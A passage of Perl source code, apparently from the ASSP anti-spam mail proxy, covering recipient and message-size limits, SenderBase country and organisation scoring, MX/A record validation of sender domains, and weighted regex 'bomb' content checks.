  return 1 unless $mDoMaxDupRcpt;
  d('NumRcptOK');
  return 1 unless $this->{numrcpt};
  return 1 unless (scalar keys %{$this->{rcptlist}});
  return 1 if $this->{acceptall};
  return 1 if $this->{relayok};
  return 1 if $this->{whitelisted};
  return 1 if $this->{noprocessing};

  return 1 if ((scalar keys %{$this->{rcptlist}}) + $MaxDupRcpt >= $this->{numrcpt});
  my $maxRcpt;
  my $maxNum = 0;
  while (my ($k,$v) = each %{$this->{rcptlist}}) {
      my $tt = needEs($v,'time','s');
      mlog($fh,"info: address $k used $v $tt") if $ValidateUserLog == 2;
      if ($v > $maxNum) {
          $maxNum = $v;
          $maxRcpt = $k;
      }
  }
  my $tlit = &tlit($mDoMaxDupRcpt);
  $this->{prepend}="[MaxDupRcpt]";
  $this->{messagereason} = "too many duplicate recipients ($maxRcpt , $maxNum)";
  mlog($fh,"$tlit $this->{messagereason}",1) if ($ValidateUserLog == 2 && $mDoMaxDupRcpt == 3) or $mDoMaxDupRcpt == 2;
  return 1 if $mDoMaxDupRcpt == 2;
  my $reply = "550 5.5.3 $this->{messagereason}";
  pbAdd( $fh, $this->{ip}, 'mdrValencePB', "MaxDupRcpt" ) if $mdrValencePB > 0;
  return 1 if $mDoMaxDupRcpt == 3;
  $Stats{rcptNonexistent}++;
  seterror($fh, $reply,1);
  done($fh);
  return 0;
}

sub MessageSizeOK {
    my $fh = shift;
    my $this=$Con{$fh};
    return 1 if $this->{sizeok};
    
    d('MessageSizeOK');
	return 1 if $noMaxSize && matchSL( $this->{mailfrom}, 'noMaxSize' );
    my $maxRealSize = $this->{maxRealSize} || $maxRealSize || 0;
    my $maxSize = $this->{maxSize} || $maxSize || 0;
    if ($this->{relayok} && ! defined $this->{maxSize}) {
        $this->{maxRealSize} = $this->{maxSize} = 0;
        my @MSadr  = sort {$main::b <=> $main::a} map {matchHashKey('MSadr' ,$_)} split(' ',$this->{rcpt}),$this->{mailfrom},$this->{ip},$this->{cip},@{"$this.sip"};
        my @MRSadr = sort {$main::b <=> $main::a} map {matchHashKey('MRSadr',$_)} split(' ',$this->{rcpt}),$this->{mailfrom},$this->{ip},$this->{cip},@{"$this.sip"};
        $maxSize = $this->{maxSize} = $MSadr[0] if (defined $MSadr[0]);
        $maxSize = $this->{maxSize} = 0 if grep({$_ == 0} @MSadr);
        $maxRealSize = $this->{maxRealSize} = $MRSadr[0] if (defined $MRSadr[0]);
        $maxRealSize = $this->{maxRealSize} = 0 if grep({$_ == 0} @MRSadr);
    }
    
    my $maxRealSizeExternal = $this->{maxRealSizeExternal} || $maxRealSizeExternal || 0;
    my $maxSizeExternal = $this->{maxSizeExternal} || $maxSizeExternal || 0;
    if (! $this->{relayok} && ! defined $this->{maxSizeExternal}) {
        $this->{maxRealSizeExternal} = $this->{maxSizeExternal} = 0;
        my @MSEadr  = sort {$main::b <=> $main::a} map {matchHashKey('MSEadr' ,$_)} split(' ',$this->{rcpt}),$this->{mailfrom},$this->{ip},$this->{cip},@{"$this.sip"};
        my @MRSEadr = sort {$main::b <=> $main::a} map {matchHashKey('MRSEadr',$_)} split(' ',$this->{rcpt}),$this->{mailfrom},$this->{ip},$this->{cip},@{"$this.sip"};
        $maxSizeExternal = $this->{maxSizeExternal} = $MSEadr[0] if (defined $MSEadr[0]);
        $maxSizeExternal = $this->{maxSizeExternal} = 0 if grep({$_ == 0} @MSEadr);
        $maxRealSizeExternal = $this->{maxRealSizeExternal} = $MRSEadr[0] if (defined $MRSEadr[0]);
        $maxRealSizeExternal = $this->{maxRealSizeExternal} = 0 if grep({$_ == 0} @MRSEadr);
    }

    if ( ($this->{relayok} && $maxRealSize
            && ( ($this->{SIZE} > $this->{maillength} ? $this->{SIZE} : $this->{maillength}) * $this->{numrcpt} > $maxRealSize )) or
         (!$this->{relayok} && $maxRealSizeExternal
            && ( ($this->{SIZE} > $this->{maillength} ? $this->{SIZE} : $this->{maillength}) * $this->{numrcpt} > $maxRealSizeExternal ))
       )
    {
        &makeSubject($fh);
        my $max = $this->{relayok} ? &formatNumDataSize($maxRealSize) : &formatNumDataSize($maxRealSizeExternal);
        my $err = "552 message exceeds $max(size \* rcpt)";
        if ($this->{relayok}) {
            mlog( $fh, "error: message exceeds maxRealSize $max (size \* rcpt)!" );
        } else {
            $this->{prepend} = 'MaxRealMessageSize';

            my $logsub = ( $subjectLogging && $this->{originalsubject} ? " $subjectStart$this->{originalsubject}$subjectEnd" : '' );
            mlog( $fh, "error: message exceeds maxRealSizeExternal $max (size \* rcpt)!)$logsub;",0,2 );
            $this->{prepend} = '';
        }

        $this->{sizeok} = 1;
        NoLoopSyswrite( $fh, "$err\r\n" );
        done($fh);
        return 0;
    }

    if ( (  $this->{relayok} && $maxSize         && $this->{maillength} > $maxSize         ) or
         (! $this->{relayok} && $maxSizeExternal && $this->{maillength} > $maxSizeExternal )
       )
    {
        &makeSubject($fh);
        my $max = $this->{relayok} ? &formatNumDataSize($maxSize) : &formatNumDataSize($maxSizeExternal);
        my $err = "552 message exceeds $max (size)";
        if ($this->{relayok}) {
            mlog( $fh, "error: message exceeds maxSize $max (size)!" );
        } else {
            $this->{prepend} = 'MaxMessageSize';

            my $logsub = ( $subjectLogging && $this->{originalsubject} ? " $subjectStart$this->{originalsubject}$subjectEnd" : '' );
            mlog( $fh, "error: message exceeds maxSizeExternal $max (size))$logsub;",0,2 );
            $this->{prepend} = '';
        }

        $this->{sizeok} = 1;
        NoLoopSyswrite( $fh, "$err\r\n" );
        done($fh);

        return 0;
    }
    return 1;
}

#queries the SenderBase service
sub SenderBaseMyIP {
    my $ip = shift;
    d('SenderBaseMyIP');
    return if !$CanUseSenderBase;
    return eval{
    ASSP::SenderBase::Query->new(
              Address => $ip,
              Host => 'test.senderbase.org',
              Timeout => 10
            )->results->ip_country;
    };
}
#queries the SenderBase service

sub SenderBaseOK {
    my ( $fh, $ip, $domain ) = @_;
    return 1 if !$CanUseSenderBase;
    return SenderBaseOK_Run($fh, $ip, $domain);
}
sub SenderBaseOK_Run {
    my ( $fh, $ip, $domain ) = @_;
    d('SenderBaseOK');
    my $this = $Con{$fh};
    return 1 if $this->{SenderBaseOK};
    $this->{SenderBaseOK} = 1;
    return 1 if $this->{addressedToSpamBucket};
    return 1 if $this->{notspamtag};
    return 1 if $this->{ispip} && !$this->{cip};
    return 1 if $this->{acceptall};
    return 1 if $this->{whitelisted};
    return 1 if $this->{noprocessing} & 1;
    return 1 if $this->{relayok};

    $ip = $this->{cip} if $this->{ispip} && $this->{cip};
    return 1 if $ip =~ /$IPprivate/o;

    my $results;
    my $cache;
    my $skip;
    my $tlit;

    my $mfd;
    $mfd = lc $1 if $this->{mailfrom} =~ /\@([^@]*)/o;

    my $ipcountry;
    my $orgname;
    my $domainname;
    my $blacklistscore;
    my $hostname_matches_ip;
    my $fortune1000;
    my $domainrating;
    my $bondedsender;
    my $resultip;
    my $ipCIDR;

    if ( (( $ipcountry, $orgname, $domainname, $blacklistscore, $hostname_matches_ip, $ipCIDR ) = split( /\|/o, SBCacheFind($ip) )) ) {
        $cache = 1;
    } else {
        &sigoff(__LINE__);
        eval {
            $results = ASSP::Senderbase::Query->new(
                Address   => $ip,
                Host      => 'test.senderbase.org',
                Timeout   => 10
              )->results;
        };
        if ($@) {
            mlog( $fh, "warning: SenderBase: $@", 1 ) if $SenderBaseLog >= 2;
            &sigon(__LINE__);
            return 1;
        }
        &sigon(__LINE__);

        if ($results) {
            $bondedsender   = $results->ip_in_bonded_sender;
            $blacklistscore = $results->ip_blacklist_score;
            $hostname_matches_ip = $results->hostname_matches_ip;
            $orgname        = $results->org_name;
            $resultip       = $results->ip;
            $fortune1000    = $results->org_fortune_1000;
            $domainname     = $results->domain_name;
            $domainrating   = $results->domain_rating;
            $ipcountry      = $results->ip_country;
            $ipCIDR         = $results->ip_cidr_range;
            SBCacheAdd( $ip, 0, $ipCIDR,"$ipcountry|$orgname|$domainname|$blacklistscore|$hostname_matches_ip|$ipCIDR" );
        } else {
            mlog( $fh, "info: SenderBase: got no results", 1 ) if $SenderBaseLog >= 2;
            return 1;
        }
    }
    my $tempdomain; $tempdomain = "domain:$domainname" if $domainname;
    mlog( $fh, "SenderBase -- country:$ipcountry orgname:$orgname $tempdomain", 1 )
      if $SenderBaseLog >= 2 && ! $cache;
    mlog( $fh, "SenderBase(Cache) -- country:$ipcountry orgname:$orgname $tempdomain", 1 )
      if $SenderBaseLog >= 2 && $cache;

   
    if ($DoOrgWhiting) {
        if (   $orgname =~ /($whiteSenderBaseRE)/
            || $domainname =~ /($whiteSenderBaseRE)/  )
        {
            my $wSB = $1;
            $tlit = tlit($DoOrgWhiting);
            SBCacheAdd( $ip, 2, $ipCIDR,"$ipcountry|$orgname|$domainname|$blacklistscore|$hostname_matches_ip|$ipCIDR" );
            if ($DoOrgWhiting == 1) {
                $WhiteOrgList{lc $domainname} = $orgname;
                $WhiteOrgList{$mfd} = $orgname if $mfd ne lc $domainname && $this->{spfok};
                $this->{whitelisted} = 1;
                $this->{passingreason} = "senderbase: $wSB";
                pbWhiteAdd( $fh, $ip, "WhiteSenderBase:$wSB" );
            }
            $this->{messagereason} = "White Organization/Domain '$wSB'";
            $this->{messagereason} .= " in cache " if $cache;
            my $w = &weightRe($sworgValencePB,'whiteSenderBase',\$wSB,$fh);
            if ($w >= $sworgValencePB) {
            	&addtowhitelist ($fh,$mfd);
            	$this->{passingreason} = "senderbase: $wSB";
                pbWhiteAdd( $fh, $ip, "WhiteSenderBase:$wSB" );
                $this->{whitelisted} = 1;
            }
            pbAdd( $fh, $ip, $w, "WhiteSenderBase:$wSB" )
              if $DoOrgWhiting != 2;
           $tlit = "[scoring:$w]" if $DoOrgWhiting == 3;
            mlog( $fh, "$tlit SenderBase -- $this->{messagereason}", 1 )
              if $SenderBaseLog;
            return 1;
        }
    }

    if ($DoOrgBlocking) {

        $this->{prepend} = "[Organization]";
        $tlit = tlit($DoOrgBlocking);

        if (!$orgname && !$ipcountry ) {
            SBCacheAdd( $ip, 1, $ipCIDR,"$ipcountry|$orgname|$domainname|$blacklistscore|$hostname_matches_ip|$ipCIDR" );
            pbWhiteDelete( $fh, $ip );
            $this->{messagereason} = "No CountryCode/Organization";
            pbAdd( $fh, $ip,'sbnValencePB', 'NoCountryNoOrg' );
            mlog( $fh, "[Scoring] SenderBase -- $this->{messagereason}", 1 )
              if $SenderBaseLog >= 2;
            return 1;
        } elsif (   $orgname =~ /($blackSenderBaseRE)/
            || $domainname =~ /($blackSenderBaseRE)/ )
        {
            my $bSB = $1;
            mlogRe( $fh, $bSB, "BlackOrg" );
            pbWhiteDelete( $fh, $ip );
            SBCacheAdd( $ip, 1, $ipCIDR,"$ipcountry|$orgname|$domainname|$blacklistscore|$hostname_matches_ip|$ipCIDR" );
            $this->{messagereason} = "Black Organization/Domain '$bSB'";
            pbAdd( $fh, $ip, &weightRe('sborgValencePB','blackSenderBase',\$bSB,$fh), "BlackOrg:$bSB" )
                if $DoOrgBlocking != 2;

            return 0 if $DoOrgBlocking == 1;
            mlog( $fh, "$tlit SenderBase -- $this->{messagereason}", 1 )
              if $SenderBaseLog >= 2;
        }
    }

    return 1 if !$DoCountryBlocking;
    return 1 if $NoCountryCodeRe && $ipcountry =~ /$NoCountryCodeReRE/;
    $this->{mycountry} = 0;
    if ($ipcountry &&
        ($ipcountry =~ /$CountryCodeBlockedReRE/
            || (   $CountryCodeBlockedRe =~ /all|\*/io
            && $ipcountry !~ /$MyCountryCodeReRE/
            && $ipcountry !~ /$CountryCodeReRE/ )
        )
      )
    {
        $this->{messagereason} = "Blocked Country $ipcountry ($orgname)";
        $this->{prepend} = "[CountryCode]";
        $tlit = tlit($DoCountryBlocking);
        pbAdd( $fh, $ip, &weightRe('bccValencePB','CountryCodeBlockedRe',\$ipcountry,$fh), "BlockedCountry-$ipcountry" )
          if $DoCountryBlocking != 2;

        mlog( $fh, "$tlit SenderBase -- $this->{messagereason}", 1 )
          if $DoCountryBlocking == 2 || $DoCountryBlocking == 3;

        return 0 if $DoCountryBlocking == 1;
        return 1;
    }

    return 1 if !$DoSenderBase;
    return 1 if !$CountryCodeRe && !$MyCountryCodeReRE;
    $tlit = tlit($DoSenderBase);

    ${'sbhccValencePB'}[0] = 0 - ${'sbhccValencePB'}[0] if ${'sbhccValencePB'}[0] > 0;
    ${'sbhccValencePB'}[1] = 0 - ${'sbhccValencePB'}[1] if ${'sbhccValencePB'}[1] > 0;

    if (   (${'sbhccValencePB'}[0] < 0 || ${'sbhccValencePB'}[1] < 0)    # home country
        && $ipcountry
        && $MyCountryCodeRe
        && $ipcountry =~ /$MyCountryCodeReRE/ )
    {
        $this->{prepend}       = "[CountryCode]";
        $this->{mycountry}     = 1;
        $this->{messagereason} = "Home Country Bonus $ipcountry ($orgname)";
        mlog( $fh, "$tlit SenderBase -- $this->{messagereason}", 1 ) if $SenderBaseLog >= 2;
        pbAdd( $fh, $ip, &weightRe('sbhccValencePB','MyCountryCodeRe',\$ipcountry,$fh), "HomeCountry-$ipcountry" )
          if $DoSenderBase != 2;
        return 1;
    }
    if (   (${'sbfccValencePB'}[0] || ${'sbfccValencePB'}[1])        # foreign country
        && $ipcountry
        && $MyCountryCodeRe
        && $ipcountry !~ /$MyCountryCodeReRE/
        && !( $CountryCodeRe && $ipcountry =~ /$CountryCodeReRE/ ) )
    {
        $this->{messagereason} = "Foreign Country $ipcountry ($orgname)";
        pbAdd( $fh, $ip, &weightRe('sbfccValencePB','CountryCodeRe',\$ipcountry,$fh), "CountryCode-$ipcountry", 1 )
          if $DoSenderBase != 2;
        $this->{prepend} = "[CountryCode]";
        mlog( $fh, "$tlit SenderBase -- $this->{messagereason}", 1 ) if $SenderBaseLog >= 2;
        return 1;
    }
    if (
           (${'sbsccValencePB'}[0] || ${'sbsccValencePB'}[1])
        && $ipcountry
        && $CountryCodeRe
        && $ipcountry =~ /$CountryCodeReRE/
      )
    {
        $this->{messagereason} = "Suspicious Country $ipcountry ($orgname)";
        pbAdd( $fh, $ip, &weightRe('sbsccValencePB','CountryCodeRe',\$ipcountry,$fh), "CountryCode-$ipcountry", 1 )
          if $DoSenderBase != 2;
        $this->{prepend} = "[CountryCode]";
        mlog( $fh, "$tlit SenderBase -- $this->{messagereason}", 1 ) if $SenderBaseLog;
        return 1;
    }
    if (   (${'sbfccValencePB'}[0] || ${'sbfccValencePB'}[1])    # Foreign & Suspicious Country
        && $ipcountry
        && $ScoreForeignCountries
        && $MyCountryCodeRe
        && $ipcountry !~ /$MyCountryCodeReRE/
        && ( $CountryCodeRe && $ipcountry =~ /$CountryCodeReRE/ ) )
    {
        $this->{messagereason} = "Foreign & Suspicious Country $ipcountry ($orgname)";
        pbAdd( $fh, $ip, &weightRe('sbfccValencePB','CountryCodeRe',\$ipcountry,$fh), "CountryCode-$ipcountry", 1 )
          if $DoSenderBase != 2;
        $this->{prepend} = "[CountryCode]";
        mlog( $fh, "$tlit SenderBase -- $this->{messagereason}", 1 ) if $SenderBaseLog;
        return 1;
    }
    return 1;
}


#enforce valid A/MX record for sender address
sub MXAOK {
    my $fh = shift;
    return 1 unless $CanUseDNS && $DoDomainCheck;
    return MXAOK_Run($fh);
}
sub MXAOK_Run {
    my $fh = shift;
    d('MXAOK');
    my $this = $Con{$fh};
    return 1 if $this->{MXAOK};
    $this->{MXAOK} = 1;

    my $ip = $this->{ip};
    $ip = $this->{cip} if $this->{ispip} && $this->{cip};

    return 1 if $this->{relayok};
    return 1 if $this->{notspamtag};
    return 1 if $this->{contentonly};
    return 1 if $this->{noprocessing} & 1;
    return 1 if $this->{mailfrom} =~ /$BSRE/;
#    return 1 if $this->{mailfrom} =~ /www|news|mail|noreply/io;
    return 1 if (($this->{rwlok} && ! $this->{cip}) or ($this->{cip} && pbWhiteFind($ip)));
    return 1 if ( localmail( $this->{mailfrom} ) );

    my $slok = $this->{allLoveMXASpam} == 1;

    my $mf   = lc $this->{mailfrom};
    my %mfd;
    $mfd{lc $1}->{mx} = $mfd{lc $1}->{a} = $mfd{lc $1}->{ctime} = undef if $mf =~ /\@($EmailDomainRe)$/o;
    
    while ($this->{header} =~ /($HeaderNameRe):($HeaderValueRe)/igos) {
        my $line = $2;
        next if $1 !~ /^(?:ReturnReceipt|Return-Receipt-To|Disposition-Notification-To|Return-Path|Reply-To|Sender|Errors-To|List-\w+)$/io;
        headerUnwrap($line);
        while ($line =~ /$EmailAdrRe\@($EmailDomainRe)/og) {
            $mfd{lc $1}->{mx} = $mfd{lc $1}->{a} = $mfd{lc $1}->{ctime} = undef;
        }
    }

    my $DoDomainCheck = $DoDomainCheck;


    my $tlit;
    $tlit = &tlit($DoDomainCheck);
    $this->{prepend} = '';

    foreach my $mfd (keys %mfd) {
        my ( $cachetime, $mxexchange, $arecord ) = MXACacheFind($mfd);
        if ( ! $cachetime ) {
            &sigoff(__LINE__);
            my $res =  Net::DNS::Resolver->new(
                nameservers => \@nameservers,
                tcp_timeout => $DNStimeout,
                udp_timeout => $DNStimeout,
                retrans     => $DNSretrans,
                retry       => $DNSretry
            );
            getRes('force', $res);
            my $queryMX = $res->query( $mfd, 'MX' );

            if ($queryMX) {
                foreach my $rr ( $queryMX->answer ) {
                    if ( $rr->type eq "MX" ) {
                        my @MXip;
                        $mxexchange = $rr->exchange;
                        my $res = queryDNS($mxexchange ,'A');
                        if ($res) {
                            my @answer = map{$_->string} $res->answer;
                            while (@answer) {
                                my $RR = Net::DNS::RR->new(shift @answer);
                                my $aip = $RR->rdatastr;
                                push @MXip, $aip if $aip !~ /$IPprivate/o;
                            }
                        }
                        if (!@MXip && $mxexchange && $res) {
                            mlog( $fh,"MX $mxexchange has no or a privat IP - this MX has failed", 0)
                                if $ValidateSenderLog;
                            $mfd{$mfd}->{mx} = $mfd{$mfd}->{a} = $mfd{$mfd}->{ctime} = undef;
                        } elsif ($mxexchange && $res) {
                            $mfd{$mfd}->{mx} = $mxexchange;
                            $mfd{$mfd}->{a} = $MXip[0];
                            $mfd{$mfd}->{ctime} = undef;
                            last;
                        }
                    }
                }
            } else {
                delete $mfd{$mfd};
            }
            &sigon(__LINE__);
        } else {
            $mfd{$mfd}->{mx} = $mxexchange;
            $mfd{$mfd}->{a} = $arecord;
            $mfd{$mfd}->{ctime} = $cachetime;
        }
    }

    my $mfailed;
    my $afailed;
    my $failed;
    my $mpb;
    my $apb;
    foreach my $mfd (keys %mfd) {

        if ($mfd{$mfd}->{mx}) {

            #MX found
            my $msg = "MX found";
            $msg .= " (cache)" if $mfd{$mfd}->{ctime};
            $msg .= ": $mfd -> ". $mfd{$mfd}->{mx};
            mlog( $fh, $msg, 1, 1 )
              if $ValidateSenderLog >= 2 ;

        } else {

            #MX not found
            $this->{prepend} = "[MissingMX]";
            $this->{messagereason} = "MX missing";
            $this->{messagereason} .= " (cache)" if $mfd{$mfd}->{ctime};
            $this->{messagereason} .= ": $mfd";

 #           mlog( $fh,"[scoring] $this->{messagereason}", 0)
 #             if $ValidateSenderLog > 1 && ${'mxValencePB'}[0];

            pbWhiteDelete( $fh, $ip ) if ! $mpb;
            pbAdd( $fh, $ip, 'mxValencePB', 'MissingMX' ) if $DoDomainCheck != 2 && !$mpb;
            if (! $mfd{$mfd}->{a} ) {
                my ($name, $aliases, $addrtype, $length, @addrs);
                eval{
                    ($name, $aliases, $addrtype, $length, @addrs) = gethostbyname($mfd);
                };
                foreach my $i (@addrs) {
                    my ($ad, $bd, $cd, $dd) = unpack('C4', $i);
                    my $arecord ="$ad.$bd.$cd.$dd";
                    if ( $MXACacheExp > 0 && $arecord =~ /^$IPRe$/o && $arecord !~ /^$IPprivate$/o) {
                        $mfd{$mfd}->{a} = $arecord;
                        last;
                    }
                }
            }
            $mfailed = 1;
            $this->{prepend} = '';
        }

        if ($mfd{$mfd}->{a}) {

            #A  found
            my $msg = "A record found";
            $msg .= " (cache)" if $mfd{$mfd}->{ctime};
            $msg .= ": $mfd -> ".$mfd{$mfd}->{a};
            mlog( $fh, $msg, 1, 1 )	if $ValidateSenderLog >= 2 ;

        } else {

            #A not found
            $this->{prepend} = "[MissingMXA]";

            $this->{messagereason} = "A record missing: $mfd";
            $this->{messagereason} .= " (cache)" if $mfd{$mfd}->{ctime};

            mlog( $fh,"[scoring] $this->{messagereason}")
              if $ValidateSenderLog && $DoDomainCheck >= 2;

            delayWhiteExpire($fh) if ! $apb;
            pbAdd( $fh, $ip, 'mxaValencePB', 'MissingMXA' ) if $DoDomainCheck != 2 && ! $apb;
            $this->{prepend} = '';
            $afailed = 1;
        }
        if ( $MXACacheExp > 0) {
            MXACacheAdd( $mfd, $mfd{$mfd}->{mx}, $mfd{$mfd}->{a} ) if ! $mfd{$mfd}->{ctime};
        }
        $failed = $mfailed && $afailed;
        $mf = $mfd if ($mfailed && $afailed);
        $apb |= $afailed;
        $mpb |= $mfailed;
        $mfailed = $afailed = undef;
    }

    if ($failed) {
        return 1 if $DoDomainCheck >= 2;
        $this->{prepend}="[MissingMXA]";
        mlog($fh,"MX and A record missing at least for: $mf")
          if $ValidateSenderLog;
        return 0;
    } else {
        $this->{prepend}='';
        return 1;
    }
}

sub BombWeight {
    my ($fh,$t,$re) = @_;
    my %weight = ();
    mlog(0,"error: code error - missing valence value in 'WeightedRe' hash in sub BombWeight for $re") if (! exists $WeightedRe{$re});
    mlog(0,"warning: suspect valence value '0' in 'WeightedRe' hash for '$WeightedRe{$re}' in sub BombWeight for $re") if $BombLog >= 2 && ${$WeightedRe{$re}}[0] == 0;
    return %weight unless ${$re};
    return %weight unless ${$re.'RE'};
    return BombWeight_Run($fh,$t,$re);
}
sub BombWeight_Run {
    my ($fh,$t,$re) = @_;
    my $this = $Con{$fh};
    d("BombWeight - $re");
    my $text;
    my $rawtext = ref $t ? $$t : $t;
#    my $match = &SearchBomb($re, $rawtext, 1);
#    mlog(0,"$re,match=$match, $rawtext") if $re eq "bombSuspiciousRe";
#    return if !$match;
    
    my %weight = ();
    my %found = ();
    my $weightsum = 0;
    my $weightcount = 0;
    my $maxhits = $maxHits{lc $re};

	$maxhits |= 1;
    $maxBombSearchTime = 10 unless $maxBombSearchTime;
    $weightMatch = '';
    my $regex = ${$re.'RE'};
    my $itime = time;
    $addCharsets = 1 if $re eq 'bombCharSets';
	if ($re ne 'bombSubjectRe') {
	   $rawtext =~ s/(<!--.+?)-->/$1/sgo;
       my $mimetext = cleanMIMEBody2UTF8(\$rawtext);

       if ($mimetext) {
           if ($re ne 'bombDataRe') {
               $text = cleanMIMEHeader2UTF8(\$rawtext,0);
               $mimetext =~ s/\=(?:\015?\012|\015)//go;
               $mimetext = decHTMLent(\$mimetext);
           }
           $text .= $mimetext;
       } else {
           $text = decodeMimeWords2UTF8($rawtext)
       }
    } elsif (! $LogCharset) {
       eval{$text = Encode::encode("utf-8",$rawtext);};
    } else {
       $text = $rawtext;
    }

    undef $rawtext;
    $addCharsets = 0;
    if ($re eq 'bombSubjectRe' && $maxSubjectLength) {
        my ($submaxlength,$maxlengthweight) = split(/\s*\=\>\s*/o,$maxSubjectLength);

        
        $maxlengthweight |= ${$WeightedRe{$re}}[0];

        my $sublength = length($text);
        if ($submaxlength && $sublength > $submaxlength) {
            if ($maxlengthweight) {
                $weightsum += $maxlengthweight;
                $weightcount++;
                $weight{highval} = $maxlengthweight;
                $weight{highnam} = "subject length($sublength) > max($submaxlength)";
                $found{$weight{highnam}} = $maxlengthweight;
                $weight{matchlength} = '';
            }
            $text = substr($text,0,$submaxlength);
            mlog($fh,"info: Subject exceeds $maxSubjectLength byte - the checked subject is truncated to $submaxlength byte") if $BombLog && $fh;
        }
    }
    my $subre;
    
    eval {
      local $SIG{ALRM} = sub { die "__alarm__\n" };
      alarm($maxBombSearchTime + 10);
      while ($text =~ /($regex)/gs) {
          $subre = $1||$2;
          my $matchlength = length($subre);

          last if time - $itime >= $maxBombSearchTime;
          my $w = &weightRe($WeightedRe{$re},$re,\$subre,$fh);
          next unless $w;
          $subre = substr($subre,0,$RegExLength < 5 ? 5 : $RegExLength) if $subre;
          $subre = '[!empty!]' unless $subre;
          $subre =~ s/\s+/ /go;
          next if ($found{lc($subre)} > 0 && $found{lc($subre)} >= $w);
          next if ($found{lc($subre)} < 0 && $found{lc($subre)} <= $w);
          $found{lc($subre)} = $w;
          $weightsum += $w;
          $weightcount++;
          if (abs($w) >= abs($weight{highval})) {
              $weight{highval} = $w;
              $subre =~ s{([\x00-\x1F])}{sprintf("'hex %02X'", ord($1))}eog;
              $weight{highnam} = $subre;
              $weight{matchlength} = (length($subre) != $matchlength) ? "(matchlength:$matchlength) " : '';
          }

		 
          last if $fh && $maxBombValence && $weightsum >= $maxBombValence;
		  last if $fh && !$maxhits;
		  last if $fh && $maxhits && $weightcount >= $maxhits && !$maxBombValence;
		  last if $fh &&  $weightsum >= $MessageScoringUpperLimit && !$maxBombValence;
		  

      }
      alarm(0);
    };
    undef $text;
    $itime = time - $itime;
    if ($@) {
        alarm(0);
        if ( $@ =~ /__alarm__/ ) {
            mlog( $fh, "BombWeight: timed out in 'RE:$re' after $itime secs.", 1 );
        } else {
            mlog( $fh, "BombWeight: failed in 'RE:$re': $@", 1 );
        }
    }
    if ($itime > $maxBombSearchTime) {
        mlog($fh,"info: $re canceled after $itime s > maxBombSearchTime $maxBombSearchTime s",1) if $BombLog >= 2 && $fh;
    }
    
    return %weight if $weightcount == 0;
    if ($maxBombValence>0) {
    $weight{sum} = $weightsum > $maxBombValence ? $maxBombValence : $weightsum;
    } else {
    $weight{sum} = $weightsum;
    }
    
    $weight{count} = $weightcount;
#    mlogRe($fh,"PB $weight{sum}: for $weight{highnam}",ucfirst $re) if $BombLog && $fh;
    mlog($fh,"$weight{highnam} : $weight{highval} , count : $weightcount , sum : $weightsum , time : $itime s",1) if $BombLog >= 2 && $fh;
    $weight{highnam} = join ' , ', map{$_ = "'" . substr($_,0,$RegExLength < 5 ? 5 : $RegExLength) . " ($found{$_})'";}
                          (sort {$found{$main::b} <=> $found{$main::a}} keys %found) ;
    $this->{match} = $weight{highnam}; 
    $weight{highnam} =~ s/ \(-?\d+\)//g if $weight{sum} == $bombMaxPenaltyVal;
    return %weight;
}







sub WhiteOk {

    my ( $fh, $msg) = @_;
    my $this=$Con{$fh};
	return if $this->{whiteokdone};
	return 1 if $this->{relayok};
	return 1 if $this->{whitelisted};
    return 1 if $this->{noprocessing};
	return 1 if $this->{addressedToSpamBucket};
	my $m;
	if ($msg) {
		$m = ref($msg) ? $$msg : $msg if $msg;
	} else {
	
		$m = "$this->{mailfrom} $this->{helo} $this->{ip} $this->{header}";
	}
    d('WhiteOk');
 
	my $ip = $this->{ip};
    $ip = $this->{cip} if $this->{ispip} && $this->{cip};

   if ( $whiteReRE &&  $m =~ /($whiteReRE)/i) {
        my $subre = ($1||$2);
        $this->{prepend} = '[whitelisted]';

        $this->{whitelisted} = "whiteRe '$subre'";
        $this->{passingreason} = "whiteRe '$subre'";

		delete $PBBlack{$ip};
		pbWhiteAdd( $fh, $ip, "whiteRe: $subre" );

        $this->{prepend}="[WhiteRe]";

		return 1;

	}

    return 0;
    
}


sub BombOK {
    my($fh,$dataref)=@_;
    my $this=$Con{$fh};
    return 1 if $this->{notspamtag};
	return 1 if $this->{addressedToSpamBucket};
	return 1 if $this->{bombdone} == 1;
    d('BombOK');

 	$this->{bombdone}=1;
    my $ip = $this->{ip};
    $ip = $this->{cip} if $this->{ispip} && $this->{cip};
    my $helo = $this->{helo};
    $helo = $this->{ciphelo} if $this->{ciphelo};
    my $tlit;
    my %Bombs = ();
    my $BombName;
    my $subre;    
    my $header = $dataref;

    my $datastart = $this->{datastart};
    my $maillength = length($$dataref);
    my $ofs = 0;
    my $data = " $this->{mailfrom} $helo $ip " . substr( $this->{header}, 0, 10000 );

    $this->{match}="";
    if ($DoTestRe) {
    	%Bombs = &BombWeight($fh,\$data,'testRe' );
    	if ($Bombs{count}) {
    		$subre = $Bombs{highnam};
        	$this->{messagereason} = "testRe: $subre";
        	$this->{prepend}="[BombTest]";
        	mlog( $fh, "[test] -- $this->{messagereason} -- $this->{logsubject}" ) ;
    	}

    
    }


    if ($noBombScript && $this->{mailfrom} && matchSL($this->{mailfrom},'noBombScript') ) {
        return 1;}
    
	return 1 if $this->{nobombscript};

  	return 1 if $this->{acceptall};
  	return 1 if $this->{whitelisted};
  	return 1 if $this->{noprocessing};
  	return 1 if $this->{relayok};

    return 1 if $this->{ispip} && !$bombReISPIP;
    

 
    $this->{match}="";
    if ($bombSuspiciousRe) {

    	%Bombs = &BombWeight($fh,$data,'bombSuspiciousRe' );

    	if ($Bombs{count}) {
        	$subre = $Bombs{highnam};
        	$this->{messagereason} = "bombSuspiciousRe: $subre";
        	$this->{prepend}="[Blackish]" if $Bombs{sum} >= 0;
        	$this->{prepend}="[Whitish]" if $Bombs{sum} < 0;
			mlog( $fh, "[scoring:$Bombs{sum}] -- $this->{messagereason} " );
        	pbAdd($fh,$ip,$Bombs{sum},'bombSuspicious'); 

    	}
    }
      # bombCharSets in MIME parts
    if ($DoBombCharSetsMIME && $bombCharSetsMIME && !$this->{charsetsdone}) {
    	my $mDoBombCharSets = 		&switchMode($fh,$DoBombCharSetsMIME,$this->{allLoveBoSpam},$bombTestMode);
		$subre = $Bombs{highnam};
    	%Bombs = &BombWeight($fh, $header,'bombCharSetsMIME' );
    	if ($Bombs{count}) {
        	$subre = $Bombs{highnam};
 
        	$this->{messagereason}="bombCharSets in mime-header: $subre";
        	$this->{prepend}="[BombCharSets]";

        	$tlit = ($mDoBombCharSets == 1 && $Bombs{sum} < $bombValencePB) ? &tlit(3) : $tlit;
        	$tlit = "[scoring:$Bombs{sum}]" if $DoBombCharSets==3;
